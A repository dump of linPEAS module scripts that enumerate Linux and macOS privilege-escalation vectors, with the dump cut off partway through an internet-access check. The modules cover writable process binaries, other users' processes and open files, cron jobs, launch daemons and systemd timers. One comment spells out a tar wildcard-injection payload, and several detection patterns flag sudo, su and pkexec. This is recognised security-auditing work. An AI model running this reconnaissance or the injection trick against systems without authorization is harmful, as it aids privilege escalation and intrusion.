# Mitre: T1574,T1554 # Functions Used: print_2title, print_info # Global Variables: $knw_usrs, $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders # Initial Functions: # Generated Global Variables: $binW, $bpath, $pid # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$NOUSEPS" ]; then print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" "T1574,T1554" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes" # Get list of writable binaries binW="" for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -r "/proc/$pid/exe" ] && continue # Get binary path bpath=$(readlink "/proc/$pid/exe" 2>/dev/null) [ -z "$bpath" ] && continue # Check if binary is writable if [ -w "$bpath" ]; then if [ -z "$binW" ]; then binW="$bpath" else binW="$binW|$bpath" fi fi done # Get and display binary permissions for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -r "/proc/$pid/exe" ] && continue # Get binary path bpath=$(readlink "/proc/$pid/exe" 2>/dev/null) [ -z "$bpath" ] && continue # Display binary permissions if file exists if [ -e "$bpath" ]; then ls -la "$bpath" 2>/dev/null fi done | grep -Ev "\sroot\s+root" | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh ================================================ # Title: Processes & Cron & Services & Timers - Process opened by other users # ID: PR_Processes_PPID_different_user # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Processes whose PPID belongs to a different user (not root) # License: GNU GPL # Version: 1.1 # Mitre: T1134.004 # Functions Used: print_2title, print_info # Global Variables: $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $ppid_user, $pid, $ppid, $user, $ppid_uid, $user_uid # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then print_2title "Processes whose PPID belongs to a different user (not root)" "T1134.004" print_info "You will know if a user can somehow spawn processes as a different user" # Function to get user by PID using /proc get_user_by_pid() { if [ -r "/proc/$1/status" ]; then grep "^Uid:" "/proc/$1/status" 2>/dev/null | awk '{print $2}' fi } # Function to get username by UID get_username_by_uid() { if [ -r "/etc/passwd" ]; then grep "^[^:]*:[^:]*:$1:" "/etc/passwd" 2>/dev/null | cut -d: -f1 fi } # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -r "/proc/$pid/status" ] && continue # Get process user user_uid=$(get_user_by_pid "$pid") [ -z "$user_uid" ] && continue user=$(get_username_by_uid "$user_uid") [ -z "$user" ] && continue # Get PPID ppid=$(grep "^PPid:" "/proc/$pid/status" 2>/dev/null | awk '{print $2}') [ -z "$ppid" ] || [ "$ppid" = "0" ] && continue # Get PPID user ppid_uid=$(get_user_by_pid "$ppid") [ -z "$ppid_uid" ] && continue ppid_user=$(get_username_by_uid "$ppid_uid") [ -z "$ppid_user" ] && continue # Check if users are different and PPID user is not root if [ "$user" != "$ppid_user" ] && [ "$ppid_user" != "root" ]; then echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh ================================================ # Title: Processes & Cron & Services & Timers - Files opened by processes belonging to other users # ID: PR_Files_open_process_other_user # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Files opened by processes belonging to other users # License: GNU GPL # Version: 1.1 # Mitre: T1083 # Functions Used: print_2title, print_info # Global Variables: $IAMROOT, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $user_uid, $pid, $fd_target, $cmd, $user # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then if ! [ "$IAMROOT" ]; then print_2title "Files opened by processes belonging to other users" "T1083" print_info "This is usually empty because of the lack of privileges to read other user processes information" # Function to get username by UID get_username_by_uid() { if [ -r "/etc/passwd" ]; then grep "^[^:]*:[^:]*:$1:" "/etc/passwd" 2>/dev/null | cut -d: -f1 fi } # Check each process for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf "%f\n" 2>/dev/null); do # Skip if process doesn't exist or we can't access it [ ! -r "/proc/$pid/status" ] && continue [ ! -r "/proc/$pid/fd" ] && continue # Get process user user_uid=$(grep "^Uid:" "/proc/$pid/status" 2>/dev/null | awk '{print $2}') [ -z "$user_uid" ] && continue user=$(get_username_by_uid "$user_uid") [ -z "$user" ] && continue # Skip if process belongs to current user [ "$user" = "$USER" ] && continue # Get process command cmd=$(cat "/proc/$pid/cmdline" 2>/dev/null | tr '\0' ' ' | head -c 100) [ -z "$cmd" ] && continue # Check file descriptors for fd in /proc/$pid/fd/*; do [ ! -e "$fd" ] && continue fd_target=$(readlink "$fd" 2>/dev/null) [ -z "$fd_target" ] && continue # Skip if target doesn't exist or is a special file [ ! -e "$fd_target" ] && continue case "$fd_target" in /dev/*|/proc/*|/sys/*) continue ;; esac echo "Process $pid ($user) - $cmd" echo " └─ Has open file: $fd_target" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," done done echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh ================================================ # Title: Processes & Cron & Services & Timers - Different processes 1 min # ID: PR_Different_procs_1min # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Different processes executed during 1 min # License: GNU GPL # Version: 1.0 # Mitre: T1057 # Functions Used: print_2title, print_info # Global Variables: $nosh_usrs, $sh_usrs, $Wfolders # Initial Functions: # Generated Global Variables: $temp_file # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" "T1057" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#frequent-cron-jobs" temp_file=$(mktemp) if [ "$(ps -e -o user,command 2>/dev/null)" ]; then for i in $(seq 1 1210); do ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"; rm "$temp_file"; fi echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh ================================================ # Title: Processes & Cron & Services & Timers - Cron jobs and Wildcards # ID: PR_Cron_jobs # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Enumerate system cron jobs and check for privilege escalation vectors # License: GNU GPL # Version: 1.2 # Mitre: T1053.003 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $cronjobsG, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders, $cronjobsB, $PATH # Initial Functions: # Generated Global Variables: $cmd, $VAR, $file, $path, $user_crontab, $username, $job_id, $cron_dir, $crontab, $findings, $line, $finding, $bin # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Check for vulnerable cron jobs" "T1053.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs" print_3title "Cron jobs list" "T1053.003" command -v crontab 2>/dev/null || echo_not_found "crontab" crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," command -v incrontab 2>/dev/null || echo_not_found "incrontab" incrontab -l 2>/dev/null ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," grep -Hn '^PATH=' /etc/crontab /etc/cron.d/* 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" crontab -l -u "$USER" 2>/dev/null | tr -d "\r" ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths atq 2>/dev/null echo "" print_3title "Checking for specific cron jobs vulnerabilities" "T1053.003" # Function to check if a binary is writable and executable check_binary_perms() { local bin="$1" [ -z "$bin" ] && return # Skip if binary doesn't exist [ ! -e "$bin" ] && return # Check if it's a regular file [ ! -f "$bin" ] && return # Check if it's writable and executable if [ -w "$bin" ]; then echo "Writable binary: $bin" ls -l "$bin" 2>/dev/null fi } # Function to extract binary path from command get_binary_path() { local cmd="$1" local bin="" # Try to get the first word of the command bin=$(echo "$cmd" | awk '{print $1}') [ -z "$bin" ] && return # If it's an absolute path, use it directly if [ "$(echo "$bin" | cut -c1)" = "/" ]; then echo "$bin" return fi # If it's a relative path, try to resolve it if [ -e "$bin" ]; then echo "$(pwd)/$bin" return fi # Try to find it in PATH for path in $(echo "$PATH" | tr ':' ' '); do if [ -x "$path/$bin" ]; then echo "$path/$bin" return fi done } # Function to check for privilege escalation vectors in a command check_privesc_vectors() { local cmd="$1" local file="$2" local findings="" local bin="" # Skip common false positives (mail commands, shell conditionals, variable assignments) if echo "$cmd" | grep -qE '^(mail|echo|then|else|fi|if|for|while|do|done|case|esac|exit|return|break|continue|:|\[|test|\[\[|\]\]|true|false|source|\.|cd|pwd|export|unset|readonly|local|declare|typeset|alias|unalias|set|unset|shift|wait|trap|umask|ulimit|exec|eval|command|builtin|let|read|printf|^[[:space:]]*[A-Za-z0-9_]+[[:space:]]*[=:])'; then return fi # Get the binary path bin=$(get_binary_path "$cmd") if [ -n "$bin" ]; then check_binary_perms "$bin" fi # Check for wildcard injection vectors # Attack: Using wildcards in tar/chmod/chown to execute arbitrary commands # Example: tar cf archive.tar * (where * expands to --checkpoint=1 --checkpoint-action=exec=sh) if echo "$cmd" | grep -qE '\*'; then findings="${findings}POTENTIAL_WILDCARD_INJECTION: Command uses wildcards with potentially exploitable command\n" fi # Check for path hijacking vectors # Attack: Using relative paths or commands without full path that can be hijacked # Example: script.sh instead of /usr/bin/script.sh if echo "$cmd" | grep -qE '^[[:space:]]*[^/][^[:space:]]*[[:space:]]'; then # Skip common false positives like shell builtins, control structures, and variable assignments # Also skip test commands ([ ]), logical operators (&& ||), and complex shell constructs if ! echo "$cmd" | grep -qE '^[[:space:]]*(cd|\.|source|\./|if|then|else|fi|for|while|do|done|case|esac|exit|return|break|continue|:|\[[[:space:]]|test|\[\[|\]\]|true|false|export|unset|readonly|local|declare|typeset|alias|unalias|set|unset|shift|wait|trap|umask|ulimit|exec|eval|command|builtin|let|read|printf|[A-Za-z0-9_]+[[:space:]]*[=:]|&&|\|\||;|\(|\)|\{|\})'; then findings="${findings}PATH_HIJACKING: Command uses relative path\n" fi fi # Check for command injection vectors # Attack: Using unquoted variables or command substitution that can be injected # Example: echo $VAR or echo $(command) if echo "$cmd" | grep -qE '\$\{?[A-Za-z0-9_]|\$\(|`'; then findings="${findings}COMMAND_INJECTION: Command uses unquoted variables or command substitution\n" fi # Check for overly permissive commands # Attack: Commands that can be used to escalate privileges # Example: chmod 777, chown root, etc. if echo "$cmd" | grep -qE '\b(chmod\s+[0-7]{3,4}|chown\s+root|chgrp\s+root|sudo|su |pkexec)\b'; then findings="${findings}PERMISSIVE_COMMAND: Command modifies permissions or uses privilege escalation tools\n" fi # If any findings, print them if [ -n "$findings" ]; then echo "Potential privilege escalation in cron job:" echo " └─ File: $file" echo " └─ Command: $cmd" if [ -n "$bin" ]; then echo " └─ Binary: $bin" fi echo " └─ Findings:" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " * $finding" done fi } # Check system crontabs #echo "Checking system crontabs..." #for crontab in /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /var/spool/cron/crontabs/* /etc/at* /etc/anacrontab /etc/incron.d/* /var/spool/incron/*; do # [ ! -f "$crontab" ] && continue # [ ! -r "$crontab" ] && continue # # Check if the file is writable # if [ -w "$crontab" ]; then # echo "Writable cron file: $crontab" # fi # # Check each line for privilege escalation vectors # while IFS= read -r line || [ -n "$line" ]; do # # Skip comments and empty lines # case "$line" in # \#*|"") continue ;; # esac # # Extract the command part (everything after the time specification) # cmd=$(echo "$line" | sed -E 's/^[^ ]+ [^ ]+ [^ ]+ [^ ]+ [^ ]+ //') # [ -z "$cmd" ] && continue # check_privesc_vectors "$cmd" "$crontab" # done < "$crontab" #done # Check user crontabs #echo "Checking user crontabs..." #if command -v crontab >/dev/null 2>&1; then # # Check current user's crontab # crontab -l 2>/dev/null | while IFS= read -r line || [ -n "$line" ]; do # case "$line" in # \#*|"") continue ;; # esac # cmd=$(echo "$line" | sed -E 's/^[^ ]+ [^ ]+ [^ ]+ [^ ]+ [^ ]+ //') # [ -z "$cmd" ] && continue # check_privesc_vectors "$cmd" "current user crontab" # done # # Check other users' crontabs if accessible # for user_crontab in /var/spool/cron/crontabs/*; do # [ ! -f "$user_crontab" ] && continue # [ ! -r "$user_crontab" ] && continue # username=$(basename "$user_crontab") # [ "$username" = "$USER" ] && continue # echo "Found crontab for user: $username" # while IFS= read -r line || [ -n "$line" ]; do # case "$line" in # \#*|"") continue ;; # esac # cmd=$(echo "$line" | sed -E 's/^[^ ]+ [^ ]+ [^ ]+ [^ ]+ [^ ]+ //') # [ -z "$cmd" ] && continue # check_privesc_vectors "$cmd" "$user_crontab" # done < "$user_crontab" # done #else # echo_not_found "crontab" #fi # Check for writable cron directories echo "Checking cron directories..." for cron_dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /var/spool/cron/crontabs /usr/lib/cron/tabs /private/var/at/jobs /var/at/tabs /etc/periodic; do [ ! -d "$cron_dir" ] && continue if [ -w "$cron_dir" ]; then echo "Writable cron directory: $cron_dir" fi done # Check for at jobs #if command -v atq >/dev/null 2>&1; then # echo "Checking at jobs..." # atq 2>/dev/null | while IFS= read -r line || [ -n "$line" ]; do # [ -z "$line" ] && continue # job_id=$(echo "$line" | awk '{print $1}') # [ -z "$job_id" ] && continue # at -c "$job_id" 2>/dev/null | while IFS= read -r cmd || [ -n "$cmd" ]; do # case "$cmd" in # \#*|"") continue ;; # esac # check_privesc_vectors "$cmd" "at job $job_id" # done # done #fi # Check for incron jobs #if command -v incrontab >/dev/null 2>&1; then # echo "Checking incron jobs..." # incrontab -l 2>/dev/null | while IFS= read -r line || [ -n "$line" ]; do # case "$line" in # \#*|"") continue ;; # esac # cmd=$(echo "$line" | awk '{print $3}') # [ -z "$cmd" ] && continue # check_privesc_vectors "$cmd" "incron job" # done #fi else print_2title "Cron jobs" "T1053.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs" find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Macos_launch_agents_daemons.sh ================================================ # Title: Processes & Cron & Services & Timers - Third party LaunchAgents & LaunchDemons # ID: PR_Macos_launch_agents_daemons # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Third party LaunchAgents & LaunchDemons and privilege escalation vectors # License: GNU GPL # Version: 1.1 # Mitre: T1543.001 # Functions Used: print_2title, print_info # Global Variables: $MACPEAS, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $program, $plist_content, $binary_path, $periodic_dir, $workdir, $startup_dir, $line, $emond_script, $startup_item, $finding, $location, $findings, $login_item, $plist, $periodic_script, $plist_dir # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$MACPEAS" ]; then print_2title "Third party LaunchAgents & LaunchDemons" "T1543.001" print_info "https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#launchd" print_info "Checking for privilege escalation vectors in LaunchAgents & LaunchDaemons:" print_info "1. Writable plist files" print_info "2. Writable program binaries" print_info "3. Environment variables with sensitive data" print_info "4. Unsafe program arguments" print_info "5. RunAtLoad with elevated privileges" print_info "6. KeepAlive with elevated privileges" # Function to check plist content for privilege escalation vectors check_plist_content() { local plist="$1" local findings="" # Check for environment variables if defaults read "$plist" EnvironmentVariables 2>/dev/null | grep -qE '(PASS|SECRET|KEY|TOKEN|CRED)'; then findings="${findings}ENV_VARS: Contains sensitive environment variables\n" fi # Check for RunAtLoad with elevated privileges if defaults read "$plist" RunAtLoad 2>/dev/null | grep -q "true"; then if [ -w "$plist" ]; then findings="${findings}RUN_AT_LOAD: Runs at load and plist is writable\n" fi fi # Check for KeepAlive with elevated privileges if defaults read "$plist" KeepAlive 2>/dev/null | grep -q "true"; then if [ -w "$plist" ]; then findings="${findings}KEEP_ALIVE: Keeps running and plist is writable\n" fi fi # Check for unsafe program arguments if defaults read "$plist" ProgramArguments 2>/dev/null | grep -qE '(sudo|su|chmod|chown|chroot|mount)'; then findings="${findings}UNSAFE_ARGS: Uses potentially dangerous program arguments\n" fi # Check for writable working directory if defaults read "$plist" WorkingDirectory 2>/dev/null | grep -qE '^/'; then local workdir=$(defaults read "$plist" WorkingDirectory 2>/dev/null) if [ -w "$workdir" ]; then findings="${findings}WRITABLE_WORKDIR: Working directory is writable\n" fi fi # If any findings, print them if [ -n "$findings" ]; then echo "Potential privilege escalation in: $plist" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " └─ $finding" done fi } # Check system and user LaunchAgents & LaunchDaemons for plist_dir in /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/; do [ ! -d "$plist_dir" ] && continue echo "Checking $plist_dir..." find "$plist_dir" -name "*.plist" 2>/dev/null | while read -r plist; do # Check if plist is writable if [ -w "$plist" ]; then echo "Writable plist: $plist" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi # Get program path program="" program=$(defaults read "$plist" Program 2>/dev/null) if ! [ "$program" ]; then program=$(defaults read "$plist" ProgramArguments 2>/dev/null | grep -Ev "^\(|^\)" | cut -d '"' -f 2) fi # Check if program is writable if [ -n "$program" ] && [ -w "$program" ]; then echo "Writable program: $program" | sed -${E} "s,.*,${SED_RED_YELLOW}," ls -l "$program" 2>/dev/null fi # Check plist content for privilege escalation vectors check_plist_content "$plist" done done echo "" print_2title "StartupItems" "T1543.001" print_info "https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#startup-items" for startup_dir in /Library/StartupItems/ /System/Library/StartupItems/; do [ ! -d "$startup_dir" ] && continue echo "Checking $startup_dir..." find "$startup_dir" -type f -executable 2>/dev/null | while read -r startup_item; do if [ -w "$startup_item" ]; then echo "Writable startup item: $startup_item" | sed -${E} "s,.*,${SED_RED_YELLOW}," ls -l "$startup_item" 2>/dev/null fi done done echo "" print_2title "Login Items" "T1543.001" print_info "https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#startup-items" osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null | tr ", " "\n" | while read -r login_item; do if [ -n "$login_item" ]; then # Try to find the actual binary binary_path=$(mdfind "kMDItemDisplayName == '$login_item'" 2>/dev/null | head -n 1) if [ -n "$binary_path" ] && [ -w "$binary_path" ]; then echo "Writable login item binary: $binary_path" | sed -${E} "s,.*,${SED_RED_YELLOW}," ls -l "$binary_path" 2>/dev/null fi fi done echo "" print_2title "SPStartupItemDataType" "T1543.001" system_profiler SPStartupItemDataType 2>/dev/null | while read -r line; do if echo "$line" | grep -q "Location:"; then location=$(echo "$line" | cut -d: -f2- | xargs) if [ -w "$location" ]; then echo "Writable startup item location: $location" | sed -${E} "s,.*,${SED_RED_YELLOW}," ls -l "$location" 2>/dev/null fi fi done echo "" print_2title "Emond scripts" "T1543.001" print_info "https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#emond" if [ -d "/private/var/db/emondClients" ]; then find "/private/var/db/emondClients" -type f 2>/dev/null | while read -r emond_script; do if [ -w "$emond_script" ]; then echo "Writable emond script: $emond_script" | sed -${E} "s,.*,${SED_RED_YELLOW}," ls -l "$emond_script" 2>/dev/null fi done fi echo "" print_2title "Periodic tasks" "T1543.001" print_info "Checking periodic tasks for privilege escalation vectors" for periodic_dir in /etc/periodic/daily /etc/periodic/weekly /etc/periodic/monthly; do [ ! -d "$periodic_dir" ] && continue echo "Checking $periodic_dir..." find "$periodic_dir" -type f -executable 2>/dev/null | while read -r periodic_script; do if [ -w "$periodic_script" ]; then echo "Writable periodic script: $periodic_script" | sed -${E} "s,.*,${SED_RED_YELLOW}," ls -l "$periodic_script" 2>/dev/null fi done done echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_System_timers.sh ================================================ # Title: Processes & Cron & Services & Timers - System Timers # ID: PR_System_timers # Author: Carlos Polop # Last Update: 2024-03-19 # Description: System Timers and privilege escalation vectors # License: GNU GPL # Version: 1.2 # Mitre: T1053.003 # Functions Used: echo_not_found, print_2title, print_info, print_3title # Global Variables: $SEARCH_IN_FOLDER, $timersG # Initial Functions: # Generated Global Variables: $timer_unit, $timer_path, $timer_content, $exec_path, $timer_file, $line, $findings, $unit_path, $finding, $service_unit, $timer, $target_unit, $target_file # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "System timers" "T1053.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers" # Function to check timer content for privilege escalation vectors check_timer_content() { local timer="$1" local findings="" # Get the service unit this timer activates local service_unit=$(systemctl show "$timer" -p Unit 2>/dev/null | cut -d= -f2) if [ -n "$service_unit" ]; then # Check if the service runs with elevated privileges if systemctl show "$service_unit" -p User 2>/dev/null | grep -q "root"; then findings="${findings}RUNS_AS_ROOT: Service runs as root\n" fi # Get the executable path local exec_path=$(systemctl show "$service_unit" -p ExecStart 2>/dev/null | cut -d= -f2 | cut -d' ' -f1) if [ -n "$exec_path" ]; then if [ -w "$exec_path" ]; then findings="${findings}WRITABLE_EXEC: Executable is writable: $exec_path\n" fi # Check for relative paths case "$exec_path" in /*) : ;; # Absolute path, do nothing *) findings="${findings}RELATIVE_PATH: Uses relative path: $exec_path\n" ;; esac fi # Check for unsafe configurations if systemctl show "$service_unit" -p ExecStart 2>/dev/null | grep -qE '(chmod|chown|mount|sudo|su)'; then findings="${findings}UNSAFE_CMD: Uses potentially dangerous commands\n" fi # Check for weak permissions if [ -e "$exec_path" ] && [ "$(stat -c %a "$exec_path" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_PERMS: Executable has 777 permissions\n" fi fi # If any findings, print them if [ -n "$findings" ]; then echo "Potential privilege escalation in timer: $timer" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " └─ $finding" done fi } # Function to check timer file for privilege escalation vectors check_timer_file() { local timer_file="$1" local findings="" # Check if timer file is writable (following symlinks) if [ -L "$timer_file" ]; then # If it's a symlink, check the target file local target_file=$(readlink -f "$timer_file") if [ -w "$target_file" ]; then findings="${findings}WRITABLE_FILE: Timer target file is writable: $target_file\n" fi elif [ -w "$timer_file" ]; then findings="${findings}WRITABLE_FILE: Timer file is writable\n" fi # Check for weak permissions (following symlinks) if [ "$(stat -L -c %a "$timer_file" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_PERMS: Timer file has 777 permissions\n" fi # Check for relative paths in Unit directive if grep -q "^Unit=[^/]" "$timer_file" 2>/dev/null; then findings="${findings}RELATIVE_PATH: Uses relative path in Unit directive\n" fi # Check for writable executables in Unit directive (following symlinks) local unit_path=$(grep -Po '^Unit=*(.*?$)' "$timer_file" 2>/dev/null | cut -d '=' -f2) if [ -n "$unit_path" ]; then if [ -L "$unit_path" ]; then local target_unit=$(readlink -f "$unit_path") if [ -w "$target_unit" ]; then findings="${findings}WRITABLE_UNIT: Unit target file is writable: $target_unit\n" fi elif [ -w "$unit_path" ]; then findings="${findings}WRITABLE_UNIT: Unit file is writable: $unit_path\n" fi fi # If any findings, print them if [ -n "$findings" ]; then echo "Potential privilege escalation in timer file: $timer_file" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " └─ $finding" done fi } # List all timers and check for privilege escalation vectors print_3title "Active timers:" "T1053.003" systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | while read -r line; do # Extract timer unit name timer_unit=$(echo "$line" | awk '{print $1}') if [ -n "$timer_unit" ]; then # Check if timer file is writable timer_path=$(systemctl show "$timer_unit" -p FragmentPath 2>/dev/null | cut -d= -f2) if [ -n "$timer_path" ]; then check_timer_file "$timer_path" fi # Check timer content for privilege escalation vectors check_timer_content "$timer_unit" # Print the timer line with highlighting echo "$line" | sed -${E} "s,$timersG,${SED_GREEN}," fi done || echo_not_found # Check for disabled but available timers print_3title "Disabled timers:" "T1053.003" systemctl list-unit-files --type=timer --state=disabled 2>/dev/null | grep -v "UNIT FILE" | while read -r line; do timer_unit=$(echo "$line" | awk '{print $1}') if [ -n "$timer_unit" ]; then timer_path=$(systemctl show "$timer_unit" -p FragmentPath 2>/dev/null | cut -d= -f2) if [ -n "$timer_path" ]; then check_timer_file "$timer_path" fi fi done || echo_not_found # Check timer files from PSTORAGE_TIMER if [ -n "$PSTORAGE_TIMER" ]; then print_3title "Additional timer files:" "T1053.003" printf "%s\n" "$PSTORAGE_TIMER" | while read -r timer_file; do if [ -n "$timer_file" ] && [ -e "$timer_file" ]; then check_timer_file "$timer_file" fi done fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh ================================================ # Title: Network Information - MacOS hardware ports # ID: NT_Macos_hardware_ports # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Enumerate macOS hardware ports # License: GNU GPL # Version: 1.0 # Mitre: T1016 # Functions Used: print_2title # Global Variables: $EXTRA_CHECKS, $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then print_2title "Hardware Ports" "T1016" networksetup -listallhardwareports echo "" print_2title "VLANs" "T1016" networksetup -listVLANs echo "" print_2title "Wifi Info" "T1016" networksetup -getinfo Wi-Fi echo "" print_2title "Check Enabled Proxies" "T1016" scutil --proxy echo "" print_2title "Wifi Proxy URL" "T1016" networksetup -getautoproxyurl Wi-Fi echo "" print_2title "Wifi Web Proxy" "T1016" networksetup -getwebproxy Wi-Fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh ================================================ # Title: Network Information - Internet access # ID: NT_Internet_access # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check for internet access # License: GNU GPL # Version: 1.0 # Mitre: T1016,T1590 # Functions Used: check_dns, check_icmp, check_tcp_443, check_tcp_443_bin, check_tcp_80, print_2title, print_3title, print_info, check_external_hostname # Global Variables: $E # Initial Functions: # Generated Global Variables: $pid4, $pid2, $pid1, $pid3, $tcp443_bin_status, $NOT_CHECK_EXTERNAL_HOSTNAME, $TIMEOUT_INTERNET_SECONDS # Fat linpeas: 0 # Small linpeas: 0 print_2title "Internet Access?" "T1016,T1590" TIMEOUT_INTERNET_SECONDS=5 if [ "$SUPERFAST" ]; then TIMEOUT_INTERNET_SECONDS=2.5 fi # Run all checks in background 